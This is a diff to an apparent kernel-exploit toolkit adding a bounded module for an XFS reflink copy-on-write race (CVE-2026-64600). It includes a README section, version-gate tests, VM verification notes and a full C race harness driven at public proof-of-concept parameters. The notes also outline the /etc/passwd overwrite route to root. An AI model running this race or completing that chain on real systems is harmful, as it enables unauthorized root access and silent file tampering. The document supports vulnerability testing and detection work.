(RHSA / ELSA / ALSA / RLSA) — not `uname -r` — is authoritative there.
|
||||
|
||||
All credit for finding, analysing and exploiting this bug belongs to the Qualys
|
||||
Threat Research Unit and to the upstream XFS maintainers who fixed it.
|
||||
SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Trigger (reconstructed) — VM-verified, and deliberately not weaponised.**
|
||||
Confirmed 2026-07-23 on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`**
|
||||
(stock GenericCloud layout, root on XFS with `reflink=1`) under qemu/KVM:
|
||||
`detect()` returns `VULNERABLE`, the `--active` FICLONE witness confirms
|
||||
reflink, and phase A observes `FIEMAP_EXTENT_SHARED` on a real shared extent.
|
||||
The underlying bug was separately confirmed winnable on that kernel — **4/4
|
||||
runs, first divergence after 69-494 rounds** in a 60 s budget — via a VM-only
|
||||
harness at the public PoC's parameters (`tools/verify-vm/refluxfs_verify.c`).
|
||||
The shipped trigger, deliberately under-driven, did **not** win in its 2 s
|
||||
budget on that same vulnerable kernel; that is intended, and is why a non-win
|
||||
must never be read as "patched". See `MODULE.md` for the full result table.
|
||||
This is the corpus's first XFS
|
||||
module and its first **data-oriented** kernel bug — every other kernel entry
|
||||
corrupts memory; this one corrupts file contents.
|
||||
|
||||
`detect()` is a kernel-version gate over the three-branch backport table
|
||||
(7.1.4 / 6.18.39 / 6.12.96, 7.2+ inherits mainline; introduced 4.11) **plus a
|
||||
real precondition probe**: a writable directory on a mounted XFS filesystem,
|
||||
identified by `statfs(2)` `f_type == XFS_SUPER_MAGIC` rather than by a working
|
||||
`FICLONE`, since btrfs implements `FICLONE` too and is unaffected. Under
|
||||
`--active` it confirms `reflink=1` empirically. Override with
|
||||
`SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. On rpm-family hosts it explicitly warns
|
||||
that the upstream-version verdict cannot see a vendor backport.
|
||||
|
||||
`exploit()` forks an isolated child that works only inside a private `mkdtemp`
|
||||
scratch directory, on two files it owns: it confirms a shared extent via
|
||||
`FIEMAP_EXTENT_SHARED` (a safe, read-only observation of the refcount state the
|
||||
bug misjudges), then races a hard-bounded 8 writers / 2 helpers / 16 rounds / 2 s
|
||||
window and stops, reading the donor back with `O_DIRECT` to report divergence
|
||||
honestly.
|
||||
|
||||
It is **deliberately under-driven** (the public PoC uses 32 writers and 8
|
||||
helpers) and **never clones or targets a file it does not own**. The escalation
|
||||
step — reflink-cloning a root-owned file such as `/etc/passwd` and racing writes
|
||||
onto its shared blocks, then `su` — persistently rewrites a system file on disk
|
||||
with no undo, and is documented in `MODULE.md` but **not bundled**. It always
|
||||
returns `EXPLOIT_FAIL` and never claims root it did not get.
|
||||
|
||||
Unlike the corpus's other reconstructed race triggers, a won race here cannot
|
||||
touch kernel memory: there is no oops, no KASAN report and no panic risk, and
|
||||
the blast radius is 4 KiB of our own scratch file. That is why it ranks **55**
|
||||
in `--auto` safety rather than at the bottom alongside `bad_epoll` (12) and
|
||||
`ghostlock` (11).
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* refluxfs_cve_2026_64600 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef REFLUXFS_SKELETONKEY_MODULES_H
|
||||
#define REFLUXFS_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module refluxfs_module;
|
||||
|
||||
#endif
|
||||
+2
-1
@@ -35,7 +35,7 @@
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define SKELETONKEY_VERSION "0.9.13"
|
||||
#define SKELETONKEY_VERSION "0.9.14"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
@@ -1018,6 +1018,7 @@ static int module_safety_rank(const char *n)
|
||||
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
|
||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||
if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented — a won race rewrites 4 KiB of our own scratch file and cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), but the trigger is reconstructed and not VM-verified */
|
||||
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
|
||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
||||
|
||||
@@ -74,6 +74,7 @@ extern const struct skeletonkey_module cifswitch_module;
|
||||
extern const struct skeletonkey_module nft_catchall_module;
|
||||
extern const struct skeletonkey_module bad_epoll_module;
|
||||
extern const struct skeletonkey_module ghostlock_module;
|
||||
extern const struct skeletonkey_module refluxfs_module;
|
||||
|
||||
static int g_pass = 0;
|
||||
static int g_fail = 0;
|
||||
@@ -1010,6 +1011,127 @@ static void run_all(void)
|
||||
&ghostlock_module, &h_ghl_710,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── refluxfs (CVE-2026-64600) ───────────────────────────────
|
||||
* Version gate over a THREE-branch backport table (fixed 7.1.4 /
|
||||
* 6.18.39 / 6.12.96 on-branch, 7.2+ inherits mainline; introduced
|
||||
* 4.11) AND a storage precondition: the XFS reflink CoW race is only
|
||||
* reachable where a writable XFS filesystem is mounted, so a
|
||||
* vulnerable kernel on an ext4/btrfs-only host is PRECOND_FAIL, not
|
||||
* VULNERABLE. We drive that deterministically with
|
||||
* SKELETONKEY_XFS_ASSUME_REFLINK (1=reachable, 0=no XFS) so the rows
|
||||
* don't depend on the CI runner having an XFS volume. Patched and
|
||||
* predates-the-bug rows return OK before the probe is consulted, so
|
||||
* they hold regardless of the override.
|
||||
*
|
||||
* The RHEL-family base versions carry real weight here: 4.18 (el8)
|
||||
* and 5.14 (el9) are the primary affected population and sit below
|
||||
* every table entry. Note those vendors backport without bumping the
|
||||
* upstream version — detect() warns about that at runtime; these rows
|
||||
* pin the upstream-version behaviour only. */
|
||||
setenv("SKELETONKEY_XFS_ASSUME_REFLINK", "1", 1);
|
||||
|
||||
/* 3.10.0 — RHEL/CentOS 7; predates reflink entirely → OK */
|
||||
struct skeletonkey_host h_rfx_3100 =
|
||||
mk_host(h_kernel_6_12, 3, 10, 0, "3.10.0-el7-test");
|
||||
run_one("refluxfs: 3.10.0 (el7) predates XFS reflink → OK",
|
||||
&refluxfs_module, &h_rfx_3100,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 4.10.0 — one below the 4.11 introduction → OK */
|
||||
struct skeletonkey_host h_rfx_4100 =
|
||||
mk_host(h_kernel_6_12, 4, 10, 0, "4.10.0-test");
|
||||
run_one("refluxfs: 4.10.0 one below the 4.11 introduction → OK",
|
||||
&refluxfs_module, &h_rfx_4100,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 4.18.0 — RHEL 8 upstream base, below every entry → VULNERABLE */
|
||||
struct skeletonkey_host h_rfx_4180 =
|
||||
mk_host(h_kernel_6_12, 4, 18, 0, "4.18.0-el8-test");
|
||||
run_one("refluxfs: 4.18.0 (el8 base) + XFS → VULNERABLE",
|
||||
&refluxfs_module, &h_rfx_4180,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 5.14.0 — RHEL 9 upstream base → VULNERABLE */
|
||||
struct skeletonkey_host h_rfx_5140 =
|
||||
mk_host(h_kernel_6_12, 5, 14, 0, "5.14.0-el9-test");
|
||||
run_one("refluxfs: 5.14.0 (el9 base) + XFS → VULNERABLE",
|
||||
&refluxfs_module, &h_rfx_5140,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 6.1.100 — LTS branch with no published backport → VULNERABLE */
|
||||
struct skeletonkey_host h_rfx_61100 =
|
||||
mk_host(h_kernel_6_12, 6, 1, 100, "6.1.100-test");
|
||||
run_one("refluxfs: 6.1.100 (LTS, no upstream fix) → VULNERABLE",
|
||||
&refluxfs_module, &h_rfx_61100,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 6.12.95 one below the 6.12.96 backport → VULNERABLE */
|
||||
struct skeletonkey_host h_rfx_61295 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 95, "6.12.95-test");
|
||||
run_one("refluxfs: 6.12.95 below the 6.12.96 backport → VULNERABLE",
|
||||
&refluxfs_module, &h_rfx_61295,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 6.12.96 exact backport → OK via patch table */
|
||||
struct skeletonkey_host h_rfx_61296 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 96, "6.12.96-test");
|
||||
run_one("refluxfs: 6.12.96 (exact backport) → OK via patch table",
|
||||
&refluxfs_module, &h_rfx_61296,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 6.13.0 — newer than 6.12.96 but OLDER than 6.18.39/7.1.4, an EOL
|
||||
* branch with no fix → must stay VULNERABLE ("newer than ALL" test). */
|
||||
struct skeletonkey_host h_rfx_6130 =
|
||||
mk_host(h_kernel_6_12, 6, 13, 0, "6.13.0-test");
|
||||
run_one("refluxfs: 6.13.0 newer than some entries but not all → VULNERABLE",
|
||||
&refluxfs_module, &h_rfx_6130,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 6.18.38 one below the 6.18.39 backport → VULNERABLE */
|
||||
struct skeletonkey_host h_rfx_61838 =
|
||||
mk_host(h_kernel_6_12, 6, 18, 38, "6.18.38-test");
|
||||
run_one("refluxfs: 6.18.38 below the 6.18.39 backport → VULNERABLE",
|
||||
&refluxfs_module, &h_rfx_61838,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 6.18.39 exact backport → OK */
|
||||
struct skeletonkey_host h_rfx_61839 =
|
||||
mk_host(h_kernel_6_12, 6, 18, 39, "6.18.39-test");
|
||||
run_one("refluxfs: 6.18.39 (exact backport) → OK via patch table",
|
||||
&refluxfs_module, &h_rfx_61839,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 7.1.3 one below the 7.1.4 backport → VULNERABLE */
|
||||
struct skeletonkey_host h_rfx_713 =
|
||||
mk_host(h_kernel_6_12, 7, 1, 3, "7.1.3-test");
|
||||
run_one("refluxfs: 7.1.3 below the 7.1.4 backport → VULNERABLE",
|
||||
&refluxfs_module, &h_rfx_713,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 7.1.4 exact backport → OK */
|
||||
struct skeletonkey_host h_rfx_714 =
|
||||
mk_host(h_kernel_6_12, 7, 1, 4, "7.1.4-test");
|
||||
run_one("refluxfs: 7.1.4 (exact backport) → OK via patch table",
|
||||
&refluxfs_module, &h_rfx_714,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 7.2.0 newer than every entry → mainline-inherited fix
|
||||
* (2f4acd0fcd86 shipped in 7.2-rc4) → OK */
|
||||
struct skeletonkey_host h_rfx_720 =
|
||||
mk_host(h_kernel_6_12, 7, 2, 0, "7.2.0-test");
|
||||
run_one("refluxfs: 7.2.0 above all backports → OK (mainline inherit)",
|
||||
&refluxfs_module, &h_rfx_720,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* Same vulnerable kernel, but no writable XFS filesystem mounted —
|
||||
* the stock Debian/Ubuntu (ext4) case. The bug is unreachable, so the
|
||||
* honest verdict is PRECOND_FAIL rather than VULNERABLE. */
|
||||
setenv("SKELETONKEY_XFS_ASSUME_REFLINK", "0", 1);
|
||||
run_one("refluxfs: 6.12.95 but no XFS mounted → PRECOND_FAIL",
|
||||
&refluxfs_module, &h_rfx_61295,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
unsetenv("SKELETONKEY_XFS_ASSUME_REFLINK");
|
||||
|
||||
/* ── coverage report ─────────────────────────────────────────
|
||||
* Iterate the runtime registry (populated by skeletonkey_register_*
|
||||
* calls in main()) and warn for any module that was not touched
|
||||
|
||||
@@ -0,0 +1,155 @@
|
||||
/*
|
||||
* refluxfs_verify.c — VM-ONLY verification harness for CVE-2026-64600.
|
||||
*
|
||||
* NOT part of SKELETONKEY. This exists to answer one question that the
|
||||
* shipped module deliberately refuses to answer: is THIS kernel actually
|
||||
* vulnerable? The shipped trigger is intentionally under-driven (8 writers /
|
||||
* 2 helpers / 2s) so it never grinds toward a win on a production box. Here,
|
||||
* inside a throwaway VM, we drive it at the public PoC's parameters
|
||||
* (32 writers / 8 helpers) for a real time budget.
|
||||
*
|
||||
* It is still confined to files THIS USER OWNS in a private scratch dir. It
|
||||
* does not clone, read, or touch /etc/passwd or any other file we do not own.
|
||||
* A win corrupts 4 KiB of our own donor file and nothing else.
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
#include <pthread.h>
|
||||
#include <stdatomic.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define BLK 4096u
|
||||
#define ALIGN 4096u
|
||||
#define DONOR_BYTE 0x5a
|
||||
#define ATTACK_BYTE 0x41
|
||||
|
||||
#ifndef FICLONE
|
||||
#define FICLONE _IOW(0x94, 9, int)
|
||||
#endif
|
||||
|
||||
static int WRITERS = 32; /* public PoC parameter */
|
||||
static int HELPERS = 8; /* public PoC parameter */
|
||||
static int BUDGET = 60; /* seconds */
|
||||
|
||||
static char donor[1024], clonep[1024];
|
||||
static atomic_int gate, stop;
|
||||
|
||||
static void *writer_fn(void *a)
|
||||
{
|
||||
(void)a;
|
||||
int fd = open(clonep, O_RDWR | O_DIRECT);
|
||||
if (fd < 0) return NULL;
|
||||
void *buf = NULL;
|
||||
if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return NULL; }
|
||||
memset(buf, ATTACK_BYTE, BLK);
|
||||
while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield();
|
||||
(void)!pwrite(fd, buf, BLK, 0);
|
||||
free(buf); close(fd);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *helper_fn(void *a)
|
||||
{
|
||||
(void)a;
|
||||
int fd = open(clonep, O_RDWR);
|
||||
if (fd < 0) return NULL;
|
||||
while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield();
|
||||
while (!atomic_load_explicit(&stop, memory_order_acquire)) {
|
||||
(void)!ftruncate(fd, (off_t)BLK * 2); (void)fdatasync(fd);
|
||||
(void)!ftruncate(fd, (off_t)BLK); (void)fdatasync(fd);
|
||||
}
|
||||
close(fd);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int build_pair(void)
|
||||
{
|
||||
int dfd = open(donor, O_RDWR | O_CREAT | O_TRUNC, 0600);
|
||||
if (dfd < 0) return -1;
|
||||
void *buf = NULL;
|
||||
if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(dfd); return -1; }
|
||||
memset(buf, DONOR_BYTE, BLK);
|
||||
ssize_t w = pwrite(dfd, buf, BLK, 0);
|
||||
free(buf);
|
||||
if (w != (ssize_t)BLK) { close(dfd); return -1; }
|
||||
(void)fsync(dfd);
|
||||
|
||||
int cfd = open(clonep, O_RDWR | O_CREAT | O_TRUNC, 0600);
|
||||
if (cfd < 0) { close(dfd); return -1; }
|
||||
int rc = ioctl(cfd, FICLONE, dfd) == 0 ? 0 : -1;
|
||||
(void)fsync(cfd);
|
||||
close(cfd); close(dfd);
|
||||
return rc;
|
||||
}
|
||||
|
||||
/* O_DIRECT read: the corruption lands under the inode, so a buffered read
|
||||
* would be served from a stale (correct-looking) page and hide a win. */
|
||||
static int donor_diverged(void)
|
||||
{
|
||||
int fd = open(donor, O_RDONLY | O_DIRECT);
|
||||
if (fd < 0) return -1;
|
||||
void *buf = NULL;
|
||||
if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return -1; }
|
||||
int rc = -1;
|
||||
if (pread(fd, buf, BLK, 0) == (ssize_t)BLK) {
|
||||
const unsigned char *p = buf;
|
||||
rc = 0;
|
||||
for (size_t i = 0; i < BLK; i++) if (p[i] != DONOR_BYTE) { rc = 1; break; }
|
||||
}
|
||||
free(buf); close(fd);
|
||||
return rc;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
const char *dir = argc > 1 ? argv[1] : "/var/tmp";
|
||||
if (argc > 2) BUDGET = atoi(argv[2]);
|
||||
|
||||
char scratch[1024];
|
||||
snprintf(scratch, sizeof scratch, "%s/rfxverify-XXXXXX", dir);
|
||||
if (!mkdtemp(scratch)) { perror("mkdtemp"); return 1; }
|
||||
snprintf(donor, sizeof donor, "%s/donor", scratch);
|
||||
snprintf(clonep, sizeof clonep, "%s/clone", scratch);
|
||||
|
||||
printf("[*] refluxfs verify: %d writers, %d helpers, %ds budget, scratch=%s\n",
|
||||
WRITERS, HELPERS, BUDGET, scratch);
|
||||
|
||||
pthread_t *w = calloc(WRITERS, sizeof *w);
|
||||
pthread_t *h = calloc(HELPERS, sizeof *h);
|
||||
int won = 0; long rounds = 0;
|
||||
time_t deadline = time(NULL) + BUDGET;
|
||||
|
||||
while (time(NULL) < deadline && !won) {
|
||||
if (build_pair() != 0) { fprintf(stderr, "[-] FICLONE failed\n"); break; }
|
||||
atomic_store(&gate, 0); atomic_store(&stop, 0);
|
||||
|
||||
int nw = 0, nh = 0;
|
||||
for (int i = 0; i < WRITERS; i++) if (!pthread_create(&w[nw], NULL, writer_fn, NULL)) nw++;
|
||||
for (int i = 0; i < HELPERS; i++) if (!pthread_create(&h[nh], NULL, helper_fn, NULL)) nh++;
|
||||
usleep(1500);
|
||||
atomic_store(&gate, 1);
|
||||
for (int i = 0; i < nw; i++) pthread_join(w[i], NULL);
|
||||
atomic_store(&stop, 1);
|
||||
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
|
||||
|
||||
rounds++;
|
||||
if (donor_diverged() == 1) won = 1;
|
||||
if ((rounds % 200) == 0) { printf(" ... %ld rounds\n", rounds); fflush(stdout); }
|
||||
}
|
||||
|
||||
printf("%s after %ld rounds\n",
|
||||
won ? "[!] RACE WON — donor's on-disk bytes were rewritten through a still-shared block"
|
||||
: "[i] no divergence observed", rounds);
|
||||
|
||||
unlink(donor); unlink(clonep); rmdir(scratch);
|
||||
free(w); free(h);
|
||||
return won ? 2 : 0;
|
||||
}
|
||||
@@ -334,6 +334,16 @@ bad_epoll:
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending."
|
||||
|
||||
# ── refluxfs (CVE-2026-64600) addition ──────────────────────────────
|
||||
|
||||
refluxfs:
|
||||
box: rocky9-genericcloud # NOT a Vagrant box — Rocky-9-GenericCloud-Base.latest.x86_64.qcow2 booted under qemu/KVM
|
||||
kernel_pkg: "" # stock 5.14.0-687.10.1.el9_8.0.1 — below every backport entry (6.12.96/6.18.39/7.1.4) → VULNERABLE by version
|
||||
kernel_version: "5.14.0"
|
||||
expect_detect: VULNERABLE
|
||||
verified: "2026-07-23 — CONFIRMED on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum."
|
||||
notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT — unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC + write access — note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed — that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum — detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note — this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending."
|
||||
|
||||
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
|
||||
|
||||
ghostlock:
|
||||
|
||||
Reference in New Issue
Block a user